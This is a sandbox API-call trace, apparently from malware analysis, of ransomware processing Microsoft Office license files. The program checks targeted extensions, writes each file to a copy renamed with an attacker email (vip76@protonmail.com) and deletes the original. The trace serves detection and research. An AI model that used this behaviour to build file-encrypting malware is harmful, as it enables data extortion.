	[0198.030] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString=".dbf") returned 4
	[0198.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString=".1cd") returned 4
	[0198.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString=".jpg") returned 4
	[0198.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.030] lstrlenW (lpString=".doc") returned 4
	[0198.030] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".docx") returned 5
	[0198.030] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.030] lstrlenW (lpString=".pdf") returned 4
	[0198.030] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".xls") returned 4
	[0198.030] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.030] lstrlenW (lpString=".xlsx") returned 5
	[0198.030] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.031] lstrlenW (lpString=".ppt") returned 4
	[0198.031] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.031] lstrlenW (lpString=".zip") returned 4
	[0198.031] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString=".rar") returned 4
	[0198.031] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString=".bz2") returned 4
	[0198.031] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString=".7z") returned 3
	[0198.031] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.031] lstrlenW (lpString=".dbf") returned 4
	[0198.031] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.031] lstrlenW (lpString=".1cd") returned 4
	[0198.031] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Grace-ul-oob.xrm-ms") returned 76
	[0198.031] lstrlenW (lpString=".jpg") returned 4
	[0198.031] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.031] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.031] lstrlenW (lpString="MondoR_KMS_Automation-ul-oob.xrm-ms") returned 35
	[0198.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.032] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11621) returned 1
	[0198.032] CloseHandle (hObject=0x5d4) returned 1
	[0198.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 0x220
	[0198.032] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.033] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.033] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0198.034] GetLastError () returned 0x0
	[0198.034] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d65, lpOverlapped=0x0) returned 1
	[0198.047] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0198.049] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.049] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x11a, lpOverlapped=0x0) returned 1
	[0198.049] SetEndOfFile (hFile=0x5ec) returned 1
	[0198.049] CloseHandle (hObject=0x5ec) returned 1
	[0198.053] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.053] SetEndOfFile (hFile=0x5d4) returned 1
	[0198.055] CloseHandle (hObject=0x5d4) returned 1
	[0198.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.056] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_kms_automation-ul-oob.xrm-ms")) returned 1
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString=".doc") returned 4
	[0198.057] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".docx") returned 5
	[0198.057] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.057] lstrlenW (lpString=".pdf") returned 4
	[0198.057] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".xls") returned 4
	[0198.057] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".xlsx") returned 5
	[0198.057] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.057] lstrlenW (lpString=".ppt") returned 4
	[0198.057] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString=".zip") returned 4
	[0198.057] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".rar") returned 4
	[0198.057] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".bz2") returned 4
	[0198.057] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString=".7z") returned 3
	[0198.057] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString=".dbf") returned 4
	[0198.057] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString=".1cd") returned 4
	[0198.057] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.057] lstrlenW (lpString=".jpg") returned 4
	[0198.057] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString=".doc") returned 4
	[0198.058] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".docx") returned 5
	[0198.058] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.058] lstrlenW (lpString=".pdf") returned 4
	[0198.058] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".xls") returned 4
	[0198.058] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".xlsx") returned 5
	[0198.058] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.058] lstrlenW (lpString=".ppt") returned 4
	[0198.058] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString=".zip") returned 4
	[0198.058] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".rar") returned 4
	[0198.058] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".bz2") returned 4
	[0198.058] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString=".7z") returned 3
	[0198.058] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString=".dbf") returned 4
	[0198.058] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString=".1cd") returned 4
	[0198.058] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_KMS_Automation-ul-oob.xrm-ms") returned 85
	[0198.058] lstrlenW (lpString=".jpg") returned 4
	[0198.058] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.059] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.059] lstrlenW (lpString="MondoR_OEM_Perp-pl.xrm-ms") returned 25
	[0198.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.059] GetFileSizeEx (in: hFile=0x5d4, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=10635) returned 1
	[0198.060] CloseHandle (hObject=0x5d4) returned 1
	[0198.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 0x220
	[0198.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5d4
	[0198.060] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.060] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5ec
	[0198.061] GetLastError () returned 0x0
	[0198.061] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x298b, lpOverlapped=0x0) returned 1
	[0198.333] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2990, lpOverlapped=0x0) returned 1
	[0198.334] ReadFile (in: hFile=0x5d4, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.334] WriteFile (in: hFile=0x5ec, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x106, lpOverlapped=0x0) returned 1
	[0198.334] SetEndOfFile (hFile=0x5ec) returned 1
	[0198.334] CloseHandle (hObject=0x5ec) returned 1
	[0198.334] SetFilePointerEx (in: hFile=0x5d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.335] SetEndOfFile (hFile=0x5d4) returned 1
	[0198.338] CloseHandle (hObject=0x5d4) returned 1
	[0198.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.522] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_oem_perp-pl.xrm-ms")) returned 1
	[0198.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString=".doc") returned 4
	[0198.535] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".docx") returned 5
	[0198.535] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.535] lstrlenW (lpString=".pdf") returned 4
	[0198.535] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".xls") returned 4
	[0198.535] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".xlsx") returned 5
	[0198.535] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.535] lstrlenW (lpString=".ppt") returned 4
	[0198.535] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString=".zip") returned 4
	[0198.535] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".rar") returned 4
	[0198.535] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".bz2") returned 4
	[0198.535] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString=".7z") returned 3
	[0198.535] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString=".dbf") returned 4
	[0198.535] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString=".1cd") returned 4
	[0198.535] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString=".jpg") returned 4
	[0198.535] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.536] lstrlenW (lpString=".doc") returned 4
	[0198.536] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".docx") returned 5
	[0198.536] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.536] lstrlenW (lpString=".pdf") returned 4
	[0198.536] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".xls") returned 4
	[0198.536] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".xlsx") returned 5
	[0198.536] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0198.536] lstrlenW (lpString=".ppt") returned 4
	[0198.536] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.536] lstrlenW (lpString=".zip") returned 4
	[0198.536] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".rar") returned 4
	[0198.536] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".bz2") returned 4
	[0198.536] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString=".7z") returned 3
	[0198.536] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.536] lstrlenW (lpString=".dbf") returned 4
	[0198.536] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.536] lstrlenW (lpString=".1cd") returned 4
	[0198.536] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0198.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_OEM_Perp-pl.xrm-ms") returned 75
	[0198.536] lstrlenW (lpString=".jpg") returned 4
	[0198.536] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0198.537] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1
	[0198.537] lstrlenW (lpString="MondoR_Subscription2-ul-oob.xrm-ms") returned 34
	[0198.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.539] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=11616) returned 1
	[0198.539] CloseHandle (hObject=0x514) returned 1
	[0198.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 0x220
	[0198.539] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0198.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0198.539] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.539] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0198.540] GetLastError () returned 0x0
	[0198.540] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x2d60, lpOverlapped=0x0) returned 1
	[0198.542] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x2d70, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x2d70, lpOverlapped=0x0) returned 1
	[0198.543] ReadFile (in: hFile=0x514, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0198.543] WriteFile (in: hFile=0x510, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x118, lpOverlapped=0x0) returned 1
	[0198.543] SetEndOfFile (hFile=0x510) returned 1
	[0198.544] CloseHandle (hObject=0x510) returned 1
	[0198.544] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0198.544] SetEndOfFile (hFile=0x514) returned 1
	[0198.546] CloseHandle (hObject=0x514) returned 1
	[0198.547] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0198.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\mondor_subscription2-ul-oob.xrm-ms")) returned 1
	[0198.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\MondoR_Subscription2-ul-oob.xrm-ms") returned 84
	[0198.548] lstrlenW (lpString=".doc") returned 4
	[0198.548] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".docx") returned 5
	[0198.548] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0198.548] lstrlenW (lpString=".pdf") returned 4
	[0198.548] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0198.548] lstrlenW (lpString=".xls") returned 4
